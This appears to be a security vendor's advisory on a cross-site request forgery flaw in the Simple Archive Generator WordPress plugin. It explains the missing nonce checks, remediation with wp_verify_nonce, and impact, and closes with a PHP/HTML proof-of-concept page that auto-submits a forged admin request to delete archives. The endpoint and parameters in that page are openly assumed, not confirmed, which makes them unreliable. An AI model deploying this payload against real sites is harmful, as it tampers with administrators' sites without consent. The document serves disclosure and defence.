Atomic Edge analysis of CVE-2025-49346 (metadata-based):
This vulnerability is a Cross-Site Request Forgery (CSRF) flaw in the Simple Archive Generator WordPress plugin up to version 5.2. The vulnerability allows unauthenticated attackers to trick an authenticated administrator into performing an unauthorized action via a forged request. The CVSS score of 4.3 (Medium) reflects the requirement for user interaction and the limited impact on integrity.
Atomic Edge research identifies the root cause as missing or incorrect nonce validation on a specific plugin function. In WordPress, nonces (number used once) are unique tokens used to verify the origin and intent of requests, particularly for state-changing actions. The vulnerability description confirms the absence of this critical security check. Without reviewing source code, Atomic Edge infers that a plugin function handling a POST or GET request, likely triggered via an admin menu or AJAX hook, lacks a call to `wp_verify_nonce()` or `check_admin_referer()`.
The exploitation method requires an attacker to craft a malicious web page or link that sends a forged HTTP request to the vulnerable WordPress endpoint. The attacker must induce a logged-in administrator to visit this page. A typical payload would be an HTML form that automatically submits a POST request to the plugin’s administrative action handler, such as `/wp-admin/admin-ajax.php?action=simple_archive_generator_action` or `/wp-admin/admin-post.php?action=simple_archive_generator_action`. The request would contain parameters to perform an unauthorized action, like changing plugin settings or deleting generated archives.
Remediation for this vulnerability requires adding proper nonce validation to the affected function. The plugin developers must modify the code to include a nonce check before processing any state-changing request. The standard WordPress pattern is to generate a nonce with `wp_create_nonce()` when rendering the form or link, and then verify it with `wp_verify_nonce($_REQUEST[‘_wpnonce’], ‘action_name’)` or `check_admin_referer(‘action_name’)` in the request handler. This ensures the request originates from the intended user and context.
Successful exploitation leads to unauthorized actions being performed with the privileges of the tricked administrator. The impact is limited to the plugin’s functionality, which could include modification or deletion of generated archive files, alteration of plugin configuration, or triggering of archive generation processes. This constitutes an integrity violation (C:N/I:L/A:N). The attack does not directly enable privilege escalation, remote code execution, or data confidentiality loss, but it could disrupt site operations or serve as a stepping stone in a broader attack chain.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-49346 - Simple Archive Generator <= 5.2 - Cross-Site Request Forgery
<?php
/**
* Proof of Concept for CVE-2025-49346.
* This script generates an HTML page containing a CSRF payload.
* The exact vulnerable endpoint and parameters are inferred from the plugin slug and WordPress patterns.
* Assumption: The plugin uses an AJAX handler or admin-post endpoint without nonce validation.
* The target action is assumed to be 'simple_archive_generator_action'.
* The target parameter is assumed to be 'do_action' with a value of 'delete_archive'.
* Replace these assumed values if the actual vulnerable endpoint is known.
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // Common AJAX endpoint
// Alternative endpoint: $target_url = 'http://target-site.com/wp-admin/admin-post.php';
$assumed_action = 'simple_archive_generator_action';
$assumed_parameter = 'do_action';
$assumed_value = 'delete_archive';
?>
<!DOCTYPE html>
<html>
<head>
<title>CSRF PoC - CVE-2025-49346</title>
</head>
<body>
<h2>Atomic Edge CSRF Demonstration</h2>
<p>If a WordPress administrator visits this page while logged into the vulnerable site, the form below will automatically submit a forged request to the Simple Archive Generator plugin.</p>
<form id="csrf_form" action="<?php echo htmlspecialchars($target_url); ?>" method="POST">
<input type="hidden" name="action" value="<?php echo htmlspecialchars($assumed_action); ?>">
<input type="hidden" name="<?php echo htmlspecialchars($assumed_parameter); ?>" value="<?php echo htmlspecialchars($assumed_value); ?>">
<!-- Other potential parameters required by the plugin could be added here -->
<input type="submit" value="Submit (Manual)">
</form>
<script>
// Auto-submit the form after a short delay to demonstrate the attack
setTimeout(function() {
document.getElementById('csrf_form').submit();
}, 3000);
</script>
</body>
</html>
